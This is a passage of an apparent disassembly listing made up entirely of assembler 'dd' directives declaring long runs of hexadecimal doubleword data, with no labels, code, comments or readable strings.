8D74489Fh dd 0E700FD10h, 0B97E3F12h, 0D70EB701h, 7D985C82h, 62547B87h dd 0B157110h, 4C2600E8h, 0E709B9B1h, 8600E5D8h, 0E95033BDh dd 0A1B415h, 31D79BF7h, 0B9A24CCAh, 78C29200h, 0AD55C013h dd 0CC10945h, 0C4803484h, 0CBDE64B5h, 1094625Ch, 4F1F66A7h dd 408FDE6Eh, 8CAA4C79h, 0AB00C2FEh, 0CEF2059Ah, 589DDAh dd 78697F89h, 5483498Eh, 2D08250h, 4808A40h, 730E57A0h dd 0E74081DBh, 66F98E2Bh, 9067A07Eh, 0CD20FFh, 80447831h dd 55F0DD74h, 0BBCA8B1Dh, 7A24961Dh, 7985E200h, 0E527449h dd 0F23E9DF5h, 0CA2A6D20h, 3C00FA86h, 64CD8D14h, 257E74C2h dd 0C4A7CE24h, 2A4700F6h, 2718E7F7h, 76190A48h, 2CE30988h dd 3800BBEFh, 6FA64975h, 0FF85E0AAh, 245806C9h, 3DF019D3h dd 0A8A8ADB0h, 591C3499h, 0B84049D4h, 6379072Fh, 59D062C3h dd 60DF3Ah, 0D1483934h, 6D00736Ah, 3D5F971Bh, 0AB4903h dd 4D5EF6BFh, 1C43CBD4h, 0BE75910Fh, 0D3DEAEE7h, 5D928400h dd 3F59F2FDh, 97808025h, 7FA4D703h, 3F1EEC70h, 71C0ABE0h dd 0DD0199EEh, 510D00D0h, 0AE9A0208h, 0CF1D8960h, 0CBC06A38h dd 34CC21A5h, 75460030h, 7EF31AACh, 0F61708C3h, 0A0003155h dd 51CD4532h, 0BA3A0027h, 1B681C87h, 8C7157Ch, 888052ECh dd 3C9C0474h, 0C3002A38h, 0E9BF03F8h, 0BBE615CAh, 0D5206A01h dd 51C6B4AFh, 1DF92D8h, 63970B36h, 3E250723h, 5F67900h dd 61BAFEh, 0C2098610h, 48E24E97h, 0B11D2400h, 63B7C07Dh dd 836200E5h, 2EACEE6Eh, 0B500CEE3h, 0F5988D70h, 1E669EFAh dd 54B41810h, 513FDBC1h, 8CFED380h, 54DB1F46h, 1AB8E500h dd 0A528DC91h, 0BC640289h, 0EDF1D1Bh, 6141D380h, 8300AC82h dd 852C9097h, 322EA7h, 0E898C4A1h, 0C524F368h, 91D8DB50h dd 0E513C05h, 44714C6h, 6FA0C864h, 0C19A9Eh, 0D40C2859h dd 1797C4A5h, 44F48F1Eh, 9CAEFE80h, 28F151E0h, 0B452A7h dd 32043B40h, 3EEB4B10h, 0DB4A6C0Eh, 94DC8045h, 581F39CCh dd 860B89Bh, 0C2A807ADh, 59253D00h, 9428E97Eh, 0B8FA24h dd 46C7E258h, 80154D3h, 0BB716E14h, 0ACD92CB0h, 0DA79E03Fh dd 3E40B12Eh, 0B8090AAh, 13CD7CEDh, 20C05248h, 0EB7801A0h dd 59D00085h, 565F9D84h, 970037A4h, 0B464E96h, 765A1Eh dd 454C26Bh, 1065DCABh, 0C308732Ch, 9C186300h, 1D5F04Bh dd 76828B54h, 0D40587E6h, 0F603DC94h, 18C6D072h, 613800D6h dd 51410442h, 3903C515h, 3DF93A50h, 0CEC10E66h, 422E82F1h dd 69FA7360h, 0E0036FD8h, 36BC9A37h, 7B4389E5h, 4A5420h dd 0E32F6D93h, 3131EBBh, 0F6B07400h, 0F0A07AA8h, 913F0757h dd 3088B93Ah, 37782098h, 90A75000h, 29F98FD8h, 2ED0355h dd 0CDFC4E9Eh, 0BE9BD3F0h, 0E6416028h, 0A90110F8h, 0F361BF11h dd 342553FAh, 120EAD8h, 2EAD713Bh, 0F16FC7BCh, 5EF080A5h dd 53EB9AE7h, 3A94098Dh, 84002430h, 4683E1B7h, 0B1892026h dd 7EB81B00h, 0A9BBC1Fh, 6FA7B23Ch, 5A2F03B8h, 5690F68Fh dd 44097988h, 36423Dh, 98250140h, 950A00FDh, 9DDC9E60h dd 11009C2Fh, 64A2B447h, 60E354CAh, 0E625988Dh, 0F0B550FAh dd 7C2424D7h, 0B085476Ch, 572B0177h, 121D1BF8h, 0A8F1BD3Ch dd 61F4FEC5h, 837EAEh, 3744188Eh, 0CD102FBBh, 2567321Eh dd 93B9F6C0h, 78BE452h, 3D60136Eh, 8AD6713Bh, 42C3DC85h dd 9CF5E600h, 0A02EF0CFh, 90377FE2h, 27D00EDh, 5F3EDF31h dd 7118DA19h, 9412064Dh, 0EA59005Ah, 0E25C0ADh, 470E0493h dd 0FEE95EDh, 6920600Ch, 38C9D79h, 0F408B265h, 0ABC1FA03h dd 2B85E41Dh, 0F6B84AF0h, 6B31100Eh, 14403DD9h, 0C1E0ABDAh dd 203B6039h, 63175561h, 0A0EE9D07h, 3B0FA74h, 0EBD741h dd 61876AEFh, 0EA67F539h, 0FF430E0Fh, 203F2FA8h, 0E66A3E8Eh dd 0E4010029h, 69B2FC49h, 0DD005CBCh, 2D03D8A0h, 0CCC707h dd 1E6FEA56h, 0E26B3A22h, 9A052170h, 0FBDD06DAh, 42CEC400h dd 77E61A4h, 0AC8E083h, 0D43049ECh, 0AD00D26Eh, 875123A0h dd 0F4ED566h, 41DE4C10h, 0D226860h, 0F70361F2h, 6FB6F509h dd 0F97DA011h, 0E3910008h, 0B0F89CD4h, 0CF007236h, 93C0890Dh dd 1EF4925h, 8B92AF4Dh, 60FC62A5h, 5A3AD2E2h, 1B1C00AAh dd 688EF755h, 5DDD1325h, 0D0AC40E7h, 5A46F506h, 15131E98h dd 7430AFBDh, 26452958h, 0BD3079D3h, 0AFC91C89h, 0FBDABD00h dd 6013360Ch, 0BC008F7Bh, 35D150C1h, 1B3D0C8Eh, 0DC199470h dd 2A0096FEh, 50D219Bh, 245BA90h, 8E810EB5h, 9C1D31Ch dd 77908019h, 0F02646D7h, 40651EACh, 819ECEAEh, 0C8D6A4E0h dd 1D00E189h, 5A839087h, 144AFC2Bh, 0AC68DDC7h, 5801500h dd 6D131026h, 0FA335100h, 380A31EAh, 0C7E80053h, 0D3190F75h dd 0CB010412h, 3A03EE87h, 0BAF4183Dh, 0A2CC00F4h, 0C1A19767h dd 760046AAh, 0DE937827h, 24B3EC5h, 8EE80682h, 3260C8D1h dd 19011A38h, 0B5A147C1h, 36D40B88h, 39BE1F67h, 78804041h dd 2E698A82h, 0EBE3AE28h, 0C5F16F00h, 0F81540D7h, 7D800B96h dd 0B90084ACh, 7504AB7Ah, 471E9F01h, 0C521272Bh, 0A382C4h dd 0A519895h, 9E2CC1F1h dd 2D6E3000h, 0CE4DBB63h, 3A610AA9h, 0E9843Bh, 0CB1D83E8h dd 78B52EF6h, 5EDE3D90h, 0CD156500h, 0BE1FAE80h, 47881000h dd 6352BCE1h, 897B94h, 115E2D02h, 10682714h, 67300B03h dd 81BB07FDh, 0BEFC7C7Fh, 0B8180062h, 688CCF84h, 0D2004FD8h dd 373393F3h, 1C3DAAAEh, 407EE67Ah, 126E4EF2h, 27EAC65Eh dd 0B01D7202h, 61BCF039h, 9C317400h, 0EA8DA1DBh, 1476834h dd 0AC2916AAh, 0F4946837h, 0E27332B5h, 0E93F6F00h, 1CC5CCC4h dd 459B4C4Fh, 0A6997D03h, 0A7E0628Bh, 0CD096186h, 80B5B2AAh dd 60B68F7Ch, 289898BBh, 60CBC6Ah, 0B9BAB4E1h, 0C70308B1h dd 5F33073Bh, 3439891h, 0BC3C1B39h, 9E4101Ah, 0CF42FCCh dd 971013h, 1E01634h, 29599F7Ch, 3C50CC06h, 4946E4h, 0C014033Bh dd 0D4AC633Ah, 74751F24h, 0B516A300h, 2E62E231h, 625B0D0h dd 381A8012h, 20A9DC30h, 2840A42Ah, 160C9A11h, 4D98A07Bh dd 0C438184Ch, 850F31BAh, 0A1F9C752h, 0CB99C249h, 35CD8E3h dd 4F620092h, 7F946559h, 223C7A89h, 0D467ACFDh, 1ACA8139h dd 2A658066h, 0F90F0h, 35CBA5E8h, 44C570C3h, 0AFA61601h dd 9A1681Dh, 0E273A8F0h, 132EE66h, 430102FBh, 0E75F360Eh dd 124611A8h, 0F784C1A0h, 5A19E900h, 7B02C1CBh, 624400EAh dd 78EBDD55h, 0DA00E5DFh, 2C683834h, 375E19h, 0BFF1EFF9h dd 0BB7D9649h, 5A65561Fh, 0F844C407h, 0A81A04C0h, 88225454h dd 0D4381316h, 0B70F0001h, 0B81E7BC0h, 21C013E8h, 9D42FB5h dd 0D0EF167Eh, 6890F83h, 95402AE0h, 6061A4B1h, 0CF3F628h dd 0F83FFCFCh, 2D9B0199h, 8710797Eh, 0C820813Ch, 6B7F2B93h dd 0A9FE3180h, 9FE9D475h, 9A1BA00Ch, 0CF440858h, 7560D921h dd 9983C909h, 0C0EBB10Bh, 887983A4h, 29D860B9h, 582F7A5Eh dd 6DE01466h, 20A0627Eh, 9103CDBAh, 0C0D8BA16h, 242257h dd 6E450FD1h, 7C382F5Ah, 648039DFh, 136555E9h, 0CDE63FF0h dd 57F6CE0Fh, 0F0179B26h, 53374D03h, 0E00919C8h, 0F2016443h dd 0E92D00A7h, 3593F9DFh, 6500E8EDh, 612C0DBh, 0F26845h dd 0F0A5CA37h, 0DAD4A4BFh, 1004780Eh, 0BF494FFDh, 0E68F2E80h dd 0E793501h, 1E0E808Ch, 0A7978B00h, 48E8FCF4h, 0AA40B90Fh dd 0C9A420E7h, 70E51D53h, 7234006Dh, 51A139D5h, 0A001DFDAh dd 2119F2B7h, 1880E515h, 9D5314D0h, 0F82862C9h, 0C1001040h dd 1CA13A0Ch, 749D52F3h, 85A91836h, 14BC1123h, 17B0E3Fh dd 99A16E7Fh, 2BD16F37h, 3C172180h, 0C697F40Eh, 53728D01h dd 0D67E21E1h, 326A3110h, 630A0900h, 0D304D48h, 0FCDC1920h dd 70667801h, 0BD006057h, 18FF53CCh, 0DE9FEB41h, 0B8FAC091h dd 0D710207Dh, 5D664E7Fh, 21BB08h, 31B8676Bh, 0A1B5D462h dd 0BC039F3Ah, 0FCAE9B41h, 77D023F8h, 750E1607h, 196F4F62h dd 3E591025h, 0CC18000Eh, 2411B1B8h, 3A00D127h, 9653250Fh dd 0B88AEADh, 12901D7Eh, 0CDBEA200h, 340002DAh, 8D0C2FD3h dd 0F63894h, 0DEAE3A44h, 2E9789B3h, 0DF910500h, 0E6F40A8Ch dd 78EE38h, 61FA7D4Dh, 0FC6F7477h, 26DE0D03h, 0A5BCE790h dd 0E04751C2h, 12FF48Fh, 0AB73C705h, 60434F48h, 9F0F7760h dd 105C69h, 0DD7F7994h, 0F7460993h, 4280ACF8h, 1B4A3D6Bh dd 858A433h, 972100F1h, 55860FA5h, 280096D6h, 145D165Eh dd 6DD94FAh, 0E3F30B77h, 5646580Fh, 0CF88AB3Dh, 0FCC4556Bh dd 0F2E984Fh, 0D9761860h, 3F1D425Ch, 20B02BFDh, 0F4C253Eh dd 62A06E52h, 4EBD1C80h, 0FF0101DBh, 0B71A7E5Eh, 0B0CFE92Fh dd 34369CFh, 0A54694B9h, 33E12EFAh, 0F7188CBAh, 36B50D8h dd 2C19C7BDh, 5E0CEFDh, 0DE30A124h, 0BC177121h, 0A46D011Bh dd 7C6AB8A0h, 13089B98h, 1BB3F821h, 768900C7h, 0D169217Eh dd 0AA00BD9Ah, 5645F157h, 0C03CB8D7h, 0B3ECFC71h, 7F2C58D3h dd 0BF0066B1h, 24457196h, 0B96414D2h, 6803A026h, 4FBCB3F7h dd 0D400397Bh, 0E2DDAA1Dh, 66C597F8h, 212D08DAh, 1DE78500h dd 1680E867h, 0A40E066Eh, 80426207h, 7F463D3Dh, 1025D237h dd 0C88A06C0h, 8572BEh, 1A3FEC82h, 4C07A3C1h, 0A875ED00h dd 5A77DA8Eh, 7623009Bh, 0C33BB421h, 55003204h, 0A8C1830Bh dd 308291ECh, 0B964ED10h, 7F0021BFh, 0C230B5B8h, 2C26F22Ah dd 0F803BAh, 8B82F3C3h, 0FDF4240Fh, 0F9C63F00h, 0CA8F577Dh dd 98F200B8h, 0B53BF75Bh, 303D38FBh, 0DFBD0033h, 3703DAAEh dd 3DBE06D3h, 10E179CFh, 74E4F703h, 0FC0B165h, 0A1C12E68h dd 1C78319Dh, 74F270AEh, 0CAC45D0Ch, 63BB1935h, 648C992Fh dd 1B84A2B0h, 8633210Eh, 0C6DB60E5h, 0F393C3h, 729A36B4h dd 0E7BD8516h, 78D35D30h, 0FA31EB5h, 15A44A18h, 18979186h dd 0BD6A650Eh, 1BDF6168h, 0B8DBCCAEh, 0C36111h, 70E03284h dd 9B8D330Bh, 6635ED06h, 2B83D1Ah, 578045F2h, 21636DA9h dd 0AA65F187h, 0C3D980CFh, 1C1E46C9h, 0AE150049h, 2A6AEC0Fh dd 0A907A67Ah, 8E0C7647h, 650BF450h, 0A474B9h, 0DF33F7B5h dd 2039D760h, 12AE9B00h, 7D3163E2h, 1819006Fh, 17361B49h dd 817BC38Fh, 0B825BA01h, 0DAC7A30Bh, 4D0830FBh, 0B9FE0F21h dd 0DE101E00h, 6248E02Dh, 742EEADh, 61C3852Bh, 5B80BB17h dd 89E7EAB4h, 0DC00E5ECh, 528DBE2Dh, 310ECD30h, 0F65062ADh dd 0CF59A66Bh, 2F483600h, 75259EEh, 641D411Fh, 236AA0DFh dd 0BC3F4945h, 0E81B8021h, 6EF0F51Eh, 8413ED3h, 0CD3F26F4h dd 813180Ah, 7D00C020h, 0AEC41547h, 0B4231Ah, 0D41EC74Dh dd 91205D77h, 3BF06FE8h, 0C14BB340h, 0D0982348h, 5CC88089h dd 0AF51CFDCh, 423530D9h, 72B9428h, 0B9604974h, 3EC861B9h dd 118A60F6h, 46DBF106h, 0E63A7E00h, 0E5FD5C2Ah, 0F5E23CB6h dd 29671Ch, 0ADCF0B11h, 0C930D88Ah, 123771DCh, 4B290188h dd 4E35E716h, 0BF08983Eh, 174A1C21h, 133AB488h, 0F1E00DFh dd 0BB47EB79h, 0D86CFC1Fh, 4CC31E8Ah, 1A383A07h, 0C2E8B8D0h dd 1B20141h, 3094CFF3h, 18EA3024h, 55B7505h, 0DC00C897h dd 9127E38Fh, 0C167F14h, 1F3E837Ch, 21C0CC08h, 0FA91401Dh dd 7EB900ADh, 756FAAF9h, 84A0C2DEh, 50406EFDh, 896660F6h dd 6C4E7B96h, 0BC140E00h, 0C2D01DBDh, 48527251h, 649D189Fh dd 0DEC18008h, 9966619h, 0D4CEE200h, 18ECBD3Ch, 84CC5498h dd 805200AFh, 7F2254A9h, 0CB0012EFh, 0CF9F5A1Ch, 3A654BB7h dd 2B187A96h, 0C8DD61B2h, 0DB03C790h, 0F34CA418h, 9FD80C20h dd 0C5A96CF6h, 99A65C00h, 71BB2B6Eh, 603400E8h, 7A69B074h dd 0C11C2C42h, 0C758C2DCh, 3FED789h, 0FFA94CBAh, 20985401h dd 0F40F34F6h, 32B0735Bh, 3062AB02h, 2B4847Dh, 0EB911661h dd 0A31479Ah, 0F028450h, 0AEE93C91h, 0A52A3A87h, 76D08032h dd 0C08BC698h, 0C1D31Dh, 3C7742FFh, 8120859Eh, 0CAC2D1C6h dd 4E650029h, 21E7A142h, 3800A5B0h, 0D4A4041Bh, 18860B36h dd 99BE07C8h, 3F01DE2Bh, 0D2C4E6EFh, 30DCC363h, 0AFA4A883h dd 7D763825h, 0DB55D701h, 0D356070Eh, 391F21B6h, 318790EDh dd 4AF00B51h, 94FE532h, 601316B6h, 20118185h, 0FF910B28h dd 2848A3E3h, 90D34F81h, 0C9C039B6h, 2A061723h, 0A8A51087h dd 1B010923h, 2F161891h, 1889218h, 0A917714h, 36CD3B21h dd 0E0528278h, 30461E7Eh, 0E3B70C00h, 0BC625A73h, 9E9004Ah dd 42847091h, 3F00B046h, 52B99FA0h, 6C58E03h, 5A81E6D2h dd 4046E017h dd 44763876h, 0B07F2F10h, 9890D83Ah, 247D0071h, 714F3762h dd 21C12256h, 0BEDB948Fh, 8B26998Ch, 0D4716019h, 86926E00h dd 12C7AE58h, 7B3D09E9h, 0C402A2A0h, 0B06E5A7Fh, 3052C93Bh dd 0B97780A4h, 0DE3A12A1h, 35D0289h, 544280FAh, 92420847h dd 0DA851862h, 9C4C9748h, 0C775B280h, 412E776h, 5096C506h dd 760195Bh, 91081918h, 0C61F1642h, 30F21F0h, 0DC4E9112h dd 93C47680h, 26B5DE0Dh, 74A0A420h, 878F0421h, 700FD199h dd 0F6253FCBh, 80E89748h, 9EA43C12h, 1D7FC82h, 0AB06F74Ah dd 0C4B7DC31h, 0F84CC8DAh, 80F68584h, 8048AC4Bh, 761399B6h dd 874D00B5h, 0C490431Ah, 3D720B0Dh, 6A5A26h, 61CB2174h dd 0C9EDC580h, 90230538h, 0B7D90054h, 0A96AB2F6h, 0BCF69474h dd 0F3843B19h, 3C224A20h, 66C1F502h, 8CC9F44h, 0E891787Eh dd 45188F79h, 52B2DC06h, 7519934Dh, 10092E0h, 0C5BFF85Dh dd 0DC461178h, 36C27747h, 0E1CCF4F1h, 5FC518D3h, 0FF073076h dd 0A8E30BB9h, 214052C4h, 104DBA08h, 0B78CC100h, 23CF749Dh dd 0A6273EEEh, 2CC88280h, 0CD493060h, 4AEBF207h, 8A696577h dd 465EC058h, 0E0440C8Dh, 98D1B9h, 11956D06h, 97752CF5h dd 15D10B0Fh, 7D26A632h, 34510139h, 0B1FC89D8h, 3264C57Eh dd 3081F26Ch, 4A0B32AAh, 836A8B3Dh, 3A862658h, 6D8F5D21h dd 89601408h, 0D7AD7169h, 40E2AE01h, 0D18AB4C8h, 15027C26h dd 6E4B1C88h, 2180FA31h, 32884D19h, 0A300AB1Fh, 0E5C25BFh dd 4DF342A0h, 0C3061486h, 81843041h, 0ABAA0D1Fh, 0C2467887h dd 2C11CE30h, 3B8518B2h, 0CD1B315Bh, 0F0DDFB20h, 0B31C0ACEh dd 93A49597h, 0C69E055Ch, 3602805Fh, 74060AD3h, 0CEE394F0h dd 81F0599h, 0C7B5F8B2h, 51D5050h, 58BACC12h, 0BC1C1748h dd 0D3008C4Dh, 5E769138h, 6D23157h, 97033B42h, 0C800998Eh dd 0FE4C4184h, 3FAE7F6h, 779276DDh, 0EAD98D06h, 86D07042h dd 59654330h, 0A88A556Ch, 1E40188Ch, 807E1F94h, 1D212BC8h dd 0E05077D9h, 8C019030h, 0AE2F0DDEh, 0B720ACEFh, 7F8AFE28h dd 0FCD60362h, 389F26DAh, 0F6187390h, 7F694E60h, 7983F7h dd 2ECF58ACh, 1EEF64C6h, 9EC02F00h, 0B12CAD8Bh, 7CDB4CF8h dd 8943FAE8h, 4631C200h, 0FC014045h, 0AD1864F6h, 0A7B99497h dd 3AB00E7h, 8852322Eh, 30FC5960h, 7E0D9271h, 0A969F66Ah dd 38B1CCh, 62DC0960h, 0F3B5C920h, 18191E0Ah, 1C0D84Dh dd 21B849BAh, 65919EABh, 0BA022300h, 6F01C858h, 19C067FCh dd 0A7BDF20Fh, 0AA5D0145h, 51581A7Ch, 8A703073h, 6214788h dd 1E72EFEEh, 0BB4C5850h, 8C54E834h, 0F8601D01h, 2FB42397h dd 0E008022h, 9E54D536h, 9F037032h, 6CDD3F1Ch, 0B3298849h dd 21E89842h, 54A696FEh, 27164704h, 0A897E8D8h, 4AFEB0h dd 768ADF91h, 78845D77h, 1EE6D904h, 2CC89752h, 50393286h dd 0F441ADA1h, 91118EDh, 4E4B2888h, 15801065h, 34A28849h dd 4B8C0041h, 0D0216F78h, 2618AD2Dh, 4929D4C3h, 5D3800D8h dd 0E45BDBBCh, 0FF0069A2h, 3E60B30Dh, 90733A9h, 91D8DE1Eh dd 8CDAF490h, 58FAEC01h, 8ABF445h, 0A094C4h, 1E1F8A7Ah dd 0F89CD3Eh, 18C7905h, 8C40C297h, 1E7D835Eh, 0DDD1F4CFh dd 113DC081h, 1D37420Dh, 0E539FA00h, 0C4C5C8B6h, 0D2983030h dd 8B960329h, 0FD1738h, 0EFDAC82Ch, 5CD50921h, 42C36CB9h dd 81801156h, 4100DC3Bh, 7FF8EB39h, 7BC4E94h, 51540E15h dd 2ED710A9h, 50047BE4h, 26566B38h, 1CDC10B5h, 0DF87013Ah dd 0D3E29121h, 80D9CD94h, 59CC4E89h, 0F8A16DF8h, 0A9800F5h dd 0FB0C8A8h, 0F90145A5h, 0DE9A205Fh, 9850F6BAh, 0AD25C3h dd 867FA05Bh, 5C520EA4h, 6F0010B1h, 59641AB7h, 5DC24AD8h dd 0F918003Ch, 8BFD058Eh, 5B848C0Fh, 71DEC064h, 23CE046h dd 0CD135935h, 0B0A0C1FDh, 0B2D643D3h, 9F812FEh, 0F21761DFh dd 0EB536C30h, 0D8A002Eh, 6A227775h, 3D004564h, 6108980Ch dd 0CF2F1B9h, 97FCC80Bh, 5163F6C1h, 0D880C9C9h, 0E48E47E6h dd 0AE2C0001h, 0AB933C04h, 0DE00212Fh, 7BEB6091h, 0F623E1D7h dd 16852648h, 364A64A0h, 4E190C30h, 592164F6h, 0B1C55B00h dd 94429B70h, 85910E7Dh, 3800B2ECh, 10A668BDh, 0E328BA0Ch dd 588D40B1h, 0C0803492h, 0FD2BA091h, 0A8B6126h, 5F78803Bh dd 0F26D7D21h, 0F6DB0024h, 0B99E1533h, 4EF67E01h, 810248A0h dd 18B23A30h, 38D05344h, 0A8FAEEBh, 0F09443A7h, 96C1780Ah dd 219C408Ch, 72007F49h, 0C7396495h, 7A8205h, 5C48E1FFh dd 96CD86FEh, 0BB41089Eh, 6DCB66Ch, 0C0F200BDh, 20B891FAh dd 9803CD1Ch, 7C9A19F7h, 1107B82Ah, 0D3DE2294h, 0BAE06318h dd 0EF8C579h, 64220EAFh, 3A92A501h, 44CAD02Dh, 7DFD903h dd 883029h, 7D1987D9h, 1CD3C650h, 0EFBDFA1Fh, 575900FCh dd 24F01A18h, 69CB67C3h, 0EBE1A15h, 9187E58Eh, 73DDD036h dd 7603A5A8h, 7F2B32BAh, 3071F89Ch, 14537745h, 90B90A8Bh dd 0E1E00800h, 88C5F385h, 0D897FA98h, 0FF9C587Dh, 0CDB69000h dd 8598E3F7h, 69253676h, 4E24202Fh, 1F1D1EEEh, 433E8B1Ch dd 0FEFA6F8Eh, 1A9EA0BFh, 0CC1FEBE4h, 0A5C15CFFh, 64F6D034h dd 6732FB10h, 854CCFEEh, 0D6AD095Ch, 80D007F2h, 4885D95h dd 0C4492443h, 29EC61CCh, 5538F437h, 0F442DC01h, 58855D07h dd 911686ECh, 0FDF1067Ch, 6505126Eh, 0C5C9E17Ch, 3F6A888h dd 0FA826F72h, 0E0A0C885h, 0F000D10Ah, 0A3A7B8C4h, 9A27F275h dd 3C790FA8h, 0D5AC9457h, 2F7CEB41h, 0B646A60Eh, 0C74E206Ah dd 1660B792h, 9097C67Ch, 0F487F540h, 0B8633E04h, 38C03746h dd 0E8A2BA1Ch, 0A1FF00EEh, 0C4DB69C3h, 0EA3594A7h, 0E41239C9h dd 0C0C024h, 56D67F7h, 7F2AC0F3h, 96748C5Fh, 0A70C3A00h dd 3F0630DCh, 0F3E77A2h, 280B4FCDh, 0C7175158h, 63ED7800h dd 7C64D63Bh, 4033CEBh, 29828C80h, 0DF94DEF4h, 4E1FDC99h dd 2B582140h, 9B80B53h, 0C6206092h, 80F41801h, 6C2377h dd 0FB306B51h, 237ADEDh, 76A9CD29h, 34403DC8h, 6A770DD9h dd 108B2C30h, 3DD047Ah, 0B13EDB4Dh, 1E82C7CAh, 0EEA5E040h dd 8A292803h, 3A8C30E0h, 60048EB9h, 0C004225Bh, 0D62CF822h dd 0D505C51Fh, 0DB3749C0h, 2401299Eh, 1F8428Bh, 927A4B55h dd 0BED11096h, 583501B7h, 0FA1809C3h, 89E971DAh, 2150750Ah dd 787E0F38h, 0C8F40121h, 9CA42Dh, 864C69A4h, 0CC983ED5h dd 0BE7CDD01h, 0DFE0E411h, 28D963DCh, 19079F9h, 4DF5B990h dd 0E05E1B3Eh, 682CDFA9h, 0F0E5521h, 0AEE300A4h, 604F528Dh dd 0EC866179h, 0FC912691h, 7A80591Eh, 6AD7A82Ch, 0F88C0474h dd 0E2B0E8DDh, 0DB0C0058h, 41D02583h, 74274FEh, 86972940h dd 4C9CC02Dh, 7B05025Fh, 95E0761Ah, 4D448447h, 1E9CC140h dd 3DEB0177h, 205D1F2Bh, 1486E079h, 4D90F899h, 0D03C129Fh dd 0ED983A18h, 53011AF6h, 8165BAC5h, 4C6C3055h, 285113h dd 0E1AD492Ch, 8B601B9Bh, 0D6025539h, 3228007Dh, 0EC996A80h dd 9503C0E6h, 6DACFD58h, 0F71E652h, 0E54EF838h, 301A6CE2h dd 3C04ACE4h, 358FF2CFh, 7EE0CC80h, 6972270Bh, 0B9B56410h dd 0D8007875h, 2D5F53FFh, 1E1932C0h, 44FE1080h, 80BCCB43h dd 5F6C92E8h, 267250A8h, 7EE77600h, 965B2D3h, 8D580043h dd 9942462Ch, 0EC130112h, 0E4D0C30Bh, 2F33C4h, 0AE1E72B0h dd 0B68B5DA6h, 9FA3DD0Bh dd 0B8A8017h, 17B036F8h, 20985501h, 2C878344h, 0BA8DCF16h dd 0A859400h, 4BC867EEh, 1EC45331h, 0C30E0974h, 57810098h dd 2CC9E72Ch, 58AAD740h, 6DFE00D5h, 9C6A9914h, 1075350h dd 0DA62EB5Dh, 84C83BA4h, 309FF2EEh, 14115F3Ah, 2400C946h dd 0B07F25D0h, 3E3068EFh, 16264D6Eh, 1CC61104h, 524B4977h dd 70009B59h, 8CB89CA1h, 0C159631Bh, 0B0CF2205h, 6181D96Dh dd 0AC2C0212h, 6551B380h, 7009B40h, 0C415C1FAh, 1E670F3h dd 60A1B8A5h, 809A2B0Eh, 0D8F7B169h, 1DA38AAh, 0FF9897D5h dd 0DA6DB84Bh, 5FF8F8C0h, 9A271605h, 54CD6720h, 0F7C244Ch dd 370EDE8Eh, 0ACA421B7h, 0FFD76119h, 24CF33E8h, 0FCD93F00h dd 0F63AEBA7h, 0CACD0052h, 216C95E4h, 0C90342A2h, 22B9B215h dd 902FF256h, 83E984h, 0FFE72E7Ch, 9A6FA20Eh, 0A6D95100h dd 1F284329h, 4744BE70h, 2A6EE004h, 27130FB8h, 24D03013h dd 535877Eh, 9308DD50h, 0CCD08540h, 3901F134h, 209003DBh dd 0BDE0B0C9h, 0F9640045h, 0AF3F22F6h, 51335250h, 0B002317Ch dd 2874DD45h, 7C98A6h, 82D5BC7Bh, 0E61B9E33h, 8A38D407h dd 0EDF0DAB2h, 1DF1B8FFh, 5B93662h, 88263973h, 6503ABF0h dd 86101B7Eh, 9063E0E2h, 0FDE424h, 18E68321h, 387B51EFh dd 0A1CC5605h, 0C4B269E3h, 0AF3BD200h, 949915CEh, 0AA017C7Eh dd 0EA8F67ECh, 1FD0BB63h, 0C8B412A5h, 20802305h, 80C108CCh dd 655B953Eh, 0E37434C6h, 0DD8D860Eh, 0A488778Eh, 0B9AF48C2h dd 728B0277h, 0A0E039C9h, 67AE3C48h, 2272A1E4h, 8724074Ch dd 36529727h, 4D70407Eh, 95F68883h, 0B2D1741Dh, 7FEF862h dd 53E8093Bh, 8CA4840Ch, 2378B0E8h, 0A599BE17h, 8DC0141Eh dd 0DE98452Ah, 0CD4B042Bh, 0C12960F4h, 0E3C39D90h, 2D533900h dd 7A42ECFBh, 0D59F043Fh, 8019CEB2h, 0DFE72C6Ch, 0D01E2B02h dd 0C26F2938h, 874A609Ch, 209300DEh, 0CCCD243Dh, 0E7260D97h dd 8441DCF6h, 9205A8Ch, 87C700A1h, 0D60B70CBh, 2E04C11Fh dd 60A3A419h, 0D02528C3h, 88C897F2h, 51076670h, 83E47FBCh dd 12D4BA20h, 346B0B1Ch, 9C90C33Eh, 75007098h, 2354DD72h dd 7E712CEDh, 363F3BDAh, 0E988E48Eh, 0B4261440h, 0A50013B5h dd 270C2885h, 0C3D496h, 0B20B2E2h, 3D9B2AF9h, 83E65D1Dh dd 0FC00EA17h, 0B5A70EF1h, 0FE26001Eh, 0A4FD28F9h, 64003DAEh dd 0F44F75BBh, 31462E5h, 0BF69E870h, 3000B36Ch, 0F5751C91h dd 0BEFE56h, 3CE17B3Eh, 88F6AD67h, 9391F960h, 0EA298D1h dd 0BA5219FEh, 484A0620h, 0BB033384h, 34E013B4h, 0CF861D87h dd 2A15408Fh, 46CEDF30h, 3600E2E8h, 0AADED3C3h, 0A09D6675h dd 602A8440h, 5EF6C856h, 0C5203564h, 0B47765h, 0F805CC09h dd 34CE7BD5h, 7DEFD10Bh, 7001FF83h, 8070C0D7h, 55264849h dd 3C8F5F40h, 2F000666h, 3484C8D2h, 1E165EBBh, 5F0075DFh dd 0E4C63040h, 0A5BA3047h, 0F43D2380h, 38D5BD3Ah, 9EEF8362h dd 1D04383h, 672FC598h, 11BD1C75h, 8C571DEDh, 6F01829Ah dd 4EBC1964h, 5CF42180h, 4493594Fh, 303A8100h, 52D1B7DDh dd 2D701429h, 2022245Fh, 39DFB600h, 774CBD6Ch, 58DB09Dh dd 0D4FA0E1h, 0C6EC43AAh, 0CAE0EC8Ch, 2D1FFB70h, 0C580FE78h dd 40E5663Ah, 0BCC31AEh, 5775BF51h, 5A11718Ch, 0A1E170ABh dd 54FCE673h, 37006F72h, 41643CE2h, 91EA15C5h, 9D460220h dd 0F9C361FDh, 0A835A900h, 0B92819CFh, 0F3AF00E6h, 0DD1562D1h dd 5D04AB5Fh, 0B4EE0E7Dh, 2188D543h, 0C7BC895Fh, 2D81DC00h dd 0FC4D272Ah, 3F80BB52h, 0D7F89C1Fh, 78981000h, 76403Ch dd 0C8C4FBACh, 2790DCF3h, 96D23B26h, 1E1FED01h, 0AB05DBAh dd 9AE91A61h, 24BB9905h, 0E400ACE2h, 0E8AAFDBEh, 31371EB9h dd 1688CCECh, 80001131h, 5A380D93h, 0C01AED78h, 9E4CBE19h dd 0A00FAAEBh, 0CA3419D1h, 3A80AC40h, 0B917562h, 1309FE94h dd 